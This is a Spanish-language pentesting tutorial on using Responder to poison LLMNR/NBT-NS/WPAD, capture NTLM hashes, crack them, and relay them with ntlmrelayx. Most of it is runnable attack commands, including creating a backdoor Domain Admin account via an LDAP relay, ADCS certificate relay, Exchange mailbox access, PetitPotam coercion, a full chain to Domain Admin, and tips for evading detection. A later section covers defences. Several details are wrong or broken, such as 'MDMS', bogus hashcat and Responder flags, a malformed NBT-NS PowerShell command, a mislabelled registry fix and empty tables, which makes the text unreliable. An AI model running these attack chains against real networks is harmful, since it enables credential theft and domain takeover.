Responder: Poisoning LLMNR/NBT-NS y Captura de Hashes NTLM

¿Qué es Responder?

En el ámbito del pentesting de Active Directory, pocas herramientas son tan efectivas y silenciosas como Responder. Se trata de una herramienta de auditoría de seguridad que explota la resolución de nombres en redes Windows para capturar hashes de autenticación NTLM sin necesidad de interactuar directamente con el objetivo.

El escenario es simple pero devastador: cuando un usuario escribe un nombre de recurso incorrecto (ej: \\fileserber en vez de \\fileserver), Windows envía una petición de broadcast por LLMNR/NBT-NS buscando resolver ese nombre. Si DNS no responde (que no lo hará, porque el nombre es incorrecto), Windows recurre a estos protocolos de fallback. Responder intercepta esas peticiones y responde falsamente, haciéndose pasar por el recurso solicitado. El usuario, sin darse cuenta, envía su hash NTLM al atacante como parte del proceso de autenticación automática de Windows.

Impacto real en entornos corporativos: En una red corporativa típica con LLMNR habilitado (que sigue siendo la mayoría), un atacante con acceso a la red local puede capturar hashes de decenas o cientos de usuarios en cuestión de minutos. Estos hashes pueden crackearse offline o, peor aún, hacerse relay a otros servicios para escalar privilegios. En auditorías reales, es común encontrar que el 70-80% de los hashes capturados corresponden a cuentas con contraseñas débiles que se crackean en menos de una hora. El verdadero peligro no es la herramienta en sí, sino la combinación de una configuración de red predeterminada (LLMNR habilitado) y malas prácticas de contraseñas en el entorno corporativo.

Protocolos que intercepta:

• LLMNR — Puerto 5355 (resolución de nombres en red local)
• NBT-NS — Puerto 137 (NetBIOS Name Service)
• MDMS — Puerto 5353 (Multicast DNS)
• WPAD — Puerto 80 (Web Proxy Auto-Discovery)

Importante: Responder es una herramienta de auditoría de seguridad. Solo debe usarse con autorización explícita del propietario de la red.

Instalación

# Kali Linux — preinstalado
sudo responder -h

# Desde GitHub
git clone https://github.com/lgandx/Responder.git
cd Responder
pip install -r requirements.txt
sudo python3 Responder.py -h

# Impacket (para ntlmrelayx)
pip install impacket

Captura de Hashes NTLM

Configuración básica

# Verificar interfaz de red
ip addr show eth0

# Lanzar Responder en modo verbose
sudo responder -I eth0 -v

# Modo análisis (solo escucha, sin poisoning)
sudo responder -I eth0 -A

Cómo funciona el poisoning

1. Usuario escribe \\fileserber (typo) en Windows
2. Windows envía petición LLMNR/NBT-NS por broadcast
3. DNS no responde (nombre incorrecto)
4. Responder responde: "Yo soy fileserber"
5. Windows envía hash NTLM al atacante
6. Responder guarda el hash en /usr/share/responder/logs/

Ficheros de log

# Ver hashes capturados
ls /usr/share/responder/logs/

# Formato del hash NTLMv2:
# admin::WORKGROUP:challenge:ntlmv2_response:session_blob

# Filtrar por dominio
grep "CORP" /usr/share/responder/logs/*.txt

Crackeo de Hashes

Con hashcat (GPU, más rápido)

# NTLMv2 (el más común)
hashcat -m 5600 hash.txt rockyou.txt

# NTLMv1
hashcat -m 5500 hash.txt rockyou.txt

# Con reglas (mejor probabilidad)
hashcat -m 5600 hash.txt rockyou.txt -r rules/best64.rule

# Fuerza bruta
hashcat -m 5600 hash.txt -a 3 ?a?a?a?a?a?a?a?a

# Ver progreso
hashcat status

Con John the Ripper

# NTLMv2
john --format=netntlmv2 hash.txt

# NTLMv1
john --format=netntlmv1 hash.txt

# Ver resultados
john --show --format=netntlmv2 hash.txt

Hashcat vs John the Ripper: Cuándo usar cada uno

Ambas herramientas crackean hashes NTLM, pero tienen fortalezas diferentes según el escenario:

Benchmarks comparativos (NTLMv2, hash de 8 caracteres)

Cuándo usar Hashcat

• Crackeo masivo: Cuando tienes cientos de hashes y quieres maximizar throughput con GPU.
• Diccionarios grandes + reglas: Las reglas de Hashcat son más expresivas y rápidas que las de John.
• Fuerza bruta: Los kernels de Hashcat están optimizados a nivel de CUDA/ROCm y superan por mucho a John.
• Formatos específicos: Hashcat soporta más de 300 modos de hash, incluyendo NTLMv1 (5500) y NTLMv2 (5600).

# Estrategia típica en pentesting con Hashcat
hashcat -m 5600 hash.txt rockyou.txt -r rules/d3ad0ne.rule  # Reglas agresivas
hashcat -m 5600 hash.txt hashcat.pot  # Ver crackeados
hashcat -m 5600 hash.txt -a 3 --increment ?a?a?a?a?a?a?a?a  # Fuerza bruta progresiva

Cuándo usar John the Ripper

• Pocos hashes: Para 1-10 hashes, John es suficiente y no necesita GPU.
• Auto-detectar formato: John detecta automáticamente el formato del hash sin indicar -m.
• Wordlists grandes sin GPU: John es más eficiente en CPU cuando no tienes GPU disponible.
• Modos flexibles: John permite combinaciones de diccionario + reglas + fuerza bruta en un solo comando.

# Estrategia típica con John
john --wordlist=rockyou.txt --rules hash.txt  # Diccionario + reglas
john --incremental hash.txt  # Fuerza bruta
john --show hash.txt  # Ver resultados

Recomendación práctica

En una auditoría real, usa ambas herramientas en paralelo: lanza Hashcat con GPU en un script y John en CPU para cubrir diferentes estrategias. Hashcat es superior para crackeo masivo, mientras que John es más cómodo para análisis rápido de un puñado de hashes.

NTLM Relay con ntlmrelayx

En vez de crackear hashes, puedes hacer relay: reenviar el hash capturado a otra máquina para obtener acceso autenticado sin conocer la contraseña.

Requisitos

• SMB signing deshabilitado en el objetivo
• El usuario capturado tiene privilegios en la máquina objetivo
• NTLMv1 o NTLMv2 (ambos funcionan)

Configuración

# Identificar hosts con SMB signing deshabilitado
nmap --script smb-security-mode -p 445 192.168.1.0/24

# Configurar ntlmrelayx
impacket-ntlmrelayx -t 192.168.1.50 -smb2support

# Con ejecución de comando
impacket-ntlmrelayx -t 192.168.1.50 -c "whoami" -smb2support

# Relay a LDAP para dumps
impacket-ntlmrelayx -t ldap://192.168.1.10 -smb2support

# Relay a HTTP (Exchange)
impacket-ntlmrelayx -t http://192.168.1.10/ews -smb2support

# Shell interactiva
impacket-ntlmrelayx -t 192.168.1.50 -smb2support -i

Escenarios de relay avanzados

Relay a LDAP: El escenario más peligroso. Si capturas el hash de un administrador y haces relay al DC por LDAP, puedes crear un usuario nuevo con privilegios de Domain Admin directamente:

# Crear usuario backdoor con privilegios Domain Admin
impacket-ntlmrelayx -t ldap://192.168.1.10 -smb2support \
  --escalate-user lowprivuser --new-user backdoor_admin --new-pass P@ssw0rd123

Relay a HTTP (Exchange): Exchange Server típicamente tiene NTLM habilitado en EWS/OWA. Un relay exitoso puede dar acceso al buzón de correo de cualquier usuario, incluido el CEO:

# Obtener acceso al mailbox de un usuario específico
impacket-ntlmrelayx -t http://exchange01.corp.local/ews/Exchange.asmx \
  -smb2support --mailbox victim@corp.local

Relay a ADCS (Active Directory Certificate Services): Este es el escenario más moderno y devastador. Si ADCS está configurado con ESC1-ESC8, puedes hacer relay para solicitar un certificado que te dé acceso como Domain Admin:

# Solicitar certificado vía relay a ADCS HTTP endpoint
impacket-ntlmrelayx -t http://ca01.corp.local/certsrv/certfnsh.asp \
  -smb2support --adcs --template User --upn administrator@corp.local
# Luego usar el certificado para autenticarte
certipy auth -pfx administrator.pfx

Relay a SMB con PetitPotam: Si los hostnames SMB signing están deshabilitados y necesitas forzar autenticación del DC, PetitPotam puede obligar al controlador de dominio a conectarse a tu servidor:

# Forzar autenticación del DC a nuestro servidor
python3 PetitPotam.py <attacker_ip> <dc_ip> -u user -p pass -d corp.local

Caso práctico: De poison a Domain Admin

Para ilustrar el impacto completo, veamos una cadena de ataque realista paso a paso:

Escenario: Red corporativa 192.168.1.0/24, dominio CORP.LOCAL, DC en 192.168.1.10, servidor ADCS en 192.168.1.20, Exchange en 192.168.1.30.

Paso 1 — Reconocimiento: Identificar hosts con SMB signing deshabilitado (necesario para relay):

nmap --script smb-security-mode -p 445 192.168.1.0/24 | grep -B5 "signing: false"

Paso 2 — Captura de hash: Lanzar Responder en modo pasivo para mapear la red, luego activo para capturar hashes:

sudo responder -I eth0 -v  # Captura hashes de usuarios que cometen typos

Paso 3 — Crackeo offline: Intentar crackear con hashcat para obtener credenciales de uso general:

hashcat -m 5600 captured_hash.txt /usr/share/wordlists/rockyou.txt -r rules/best64.rule

Paso 4 — Relay a ADCS: Si no se puede crackear, hacer relay al endpoint HTTP de ADCS para solicitar un certificado:

# Terminal 1: ntlmrelayx escuchando
impacket-ntlmrelayx -t http://192.168.1.20/certsrv/certfnsh.asp \
  -smb2support --adcs --template User --upn admin@corp.local

# Terminal 2: Responder sin SMB/HTTP (relay a ntlmrelayx)
sudo responder -I eth0 -v  # Con SMB/HTTP deshabilitados en responder.conf

Paso 5 — Autenticación con certificado:

certipy auth -pfx admin.pfx -dc-ip 192.168.1.10

Resultado: Acceso como Domain Admin sin conocer la contraseña. Tiempo total: ~15 minutos si el hash se captura rápido.

Configurar Responder para relay

# En /etc/responder.conf, deshabilitar SMB y HTTP
# [SMB Server]
# OnAttack = false
#
# [HTTP Server]
# OnAttack = false
#
# Dejar que ntlmrelayx maneje esos protocolos

sudo responder -I eth0 -v

Responder en Redes Corporativas

Escenarios comunes

# Red corporativa con LLMNR habilitado (común)
sudo responder -I eth0 -v

# Red con WPAD habilitado
# Responder sirve un archivo PAC falso
# Los navegadores capturados envían hashes por NTLM

# Red con multicast DNS
sudo responder -I eth0 -v --mdm

Evasión de detección

# Modo pasivo (sin enviar respuestas falsas)
sudo responder -I eth0 -A

# Filtrar por dominio específico
sudo responder -I eth0 -v --logfile /tmp/responder.log

# Delay entre respuestas (evitar detección por velocidad)
# Configurar en responder.conf:
# [Responder Core]
# Sleep = 1

Responder en Entornos Modernos (Windows Server 2022/2025)

Con la llegada de Windows Server 2022 y 2025, Microsoft ha reforzado significativamente la seguridad de autenticación. Sin embargo, Responder sigue siendo relevante en muchos escenarios:

¿Qué sigue funcionando?

• LLMNR poisoning: Sigue habilitado por defecto en la mayoría de dominios. Microsoft no lo ha deshabilitado por retrocompatibilidad con redes que dependen de este protocolo para resolver nombres sin DNS configurado.
• NBT-NS poisoning: Aunque Microsoft recomienda deshabilitarlo, sigue activo en dominios que no han aplicado las hardening guidelines.
• WPAD poisoning: Responder puede servir un archivo PAC falso que redirige todo el tráfico HTTP/HTTPS del navegador del usuario a través de un proxy controlado por el atacante.
• Captura de hashes de cuentas de servicio: Las cuentas de servicio con SPNs mal configurados (kerberoasting) también pueden ser víctimas de LLMNR poisoning si se usa su hash NTLM.

¿Qué ha cambiado?

• SMB Signing habilitado por defecto: Windows Server 2022 tiene SMB Signing habilitado por defecto, lo que complica el relay SMB. Sin embargo, esto no afecta la captura de hashes con Responder.
• NTLM Signing enforcement: En entornos que han configurado la directiva Network security: Restrict NTLM: NTLM authentication in this domain = Deny, el relay se bloquea completamente.
• Extended Protection for Authentication (EPA): Microsoft ha empezado a forzar EPA en servicios como Exchange y HTTP, lo que dificulta los ataques relay a esos endpoints.
• Defender for Identity: Microsoft Defender for Identity detecta activamente patrones de LLMNR poisoning y NTLM Relay, generando alertas en el portal de Defender.

Mitigación específica para Server 2022/2025

# Deshabilitar LLMNR via Registry (Server 2022+)
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient" `
  -Name "EnableMulticast" -Value 0

# Deshabilitar NBT-NS en todas las interfaces de red
Get-NetAdapterBinding -ComponentID ms_tcpip6 | ForEach-Object {
  Set-NetAdapterBinding -Name $_.Name -ComponentID NetBT_Parameters `
    -RegistryValue "NodeType" -RegistryDataType DWORD -RegistryData 2
}

# Habilitar SMB Signing obligatorio (Server 2022 ya lo hace por defecto)
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" `
  -Name "RequireSecuritySignature" -Value 1

# Auditar si LLMNR sigue activo en la red
Get-DnsClientGlobalSetting
# EnableMulticast = True indica que LLMNR está activo

En entornos híbridos (Azure AD + On-Prem)

En organizaciones que han migrado parcialmente a Azure AD (Entra ID), Responder sigue siendo efectivo en la parte on-premises. Los usuarios que se autentican localmente contra el DC siguen enviando hashes NTLM. La migración a Azure AD no protege contra ataques en la red local mientras existan recursos on-premises accesibles por LDAP o SMB.

Defensa contra Responder

Deshabilitar LLMNR/NBT-NS

# Group Policy: Computer Configuration > Administrative Templates > Network > DNS Client
# "Turn off multicast name resolution" = Enabled

# PowerShell (individual machine)
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters" -Name "EnableMDNS" -Value 0

Habilitar SMB Signing

# Group Policy: Computer Configuration > Windows Settings > Security Settings > Local Policies > Security Options
# "Microsoft network server: Digitally sign communications (always)" = Enabled

Extended Protection for Authentication (EPA)

# Group Policy: Computer Configuration > Administrative Templates > Windows Components > HTTP Service
# "HTTP Service Binding" = Enabled

Configuración completa de Group Policy para hardening

En un entorno corporativo, las siguientes GPOs deben configurarse en la OU de todos los servidores y estaciones de trabajo:

1. DNS Client — Deshabilitar LLMNR:

Computer Configuration > Administrative Templates > Network > DNS Client
"Turn off multicast name resolution" = Enabled

2. SMB Server — Signing obligatorio:

Computer Configuration > Windows Settings > Security Settings > Local Policies > Security Options
"Microsoft network server: Digitally sign communications (always)" = Enabled

3. SMB Client — Signing obligatorio:

Computer Configuration > Windows Settings > Security Settings > Local Policies > Security Options
"Microsoft network client: Digitally sign communications (always)" = Enabled

4. NTLM — Restricciones:

Computer Configuration > Windows Settings > Security Settings > Local Policies > Security Options
"Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers" = Deny all
"Network security: Restrict NTLM: NTLM authentication in this domain" = Deny all (si es posible)

5. EPA — Extended Protection:

Computer Configuration > Administrative Templates > Windows Components > HTTP Service
"HTTP Service Binding" = Enabled (Require)

Monitoreo y detección

# Habilitar audit policy para detectar intentos de relay
auditpol /set /subcategory:"Logon" /success:enable /failure:enable

# Monitorear eventos de NTLM en el DC (Event ID 4624, Logon Type 3)
# Eventos sospechosos: autenticación NTLM desde IPs no conocidas

# Usar Microsoft ATA/Defender for Identity para detectar:
# - LLMNR/NBT-NS poisoning
# - NTLM Relay attacks
# - Kerberoasting
# - Pass-the-Hash

Contraseñas de servicio: la última línea de defensa

# Asegurar que todas las cuentas de servicio tengan contraseñas de 25+ caracteres
# Usar gMSA (Group Managed Service Accounts) siempre que sea posible
New-ADServiceAccount -Name "svc_sql" `
  -DNSHostName "sql01.corp.local" `
  -PrincipalsAllowedToRetrieveManagedPassword "SQLServers" `
  -KerberosEncryptionType AES256

Las gMSA (Group Managed Service Accounts) rotan automáticamente las contraseñas cada 30 días y usan contraseñas de 240 caracteres, making practically impossible de crackear incluso si capturas el hash NTLM.

Responder vs. mitm6 vs. Inveigh

Errores Comunes

"No interface found" → Verifica con ip addr show y usa -I <interface>

"Permission denied" → Ejecuta con sudo

No captura hashes → Asegúrate de que LLMNR esté habilitado en la red. Verifica con nmap -sU -p 5355 <target>

Hashes capturados pero no crackeados → NTLMv2 es resistente a fuerza bruta. Usa contraseñas de diccionario o intenta relay con ntlmrelayx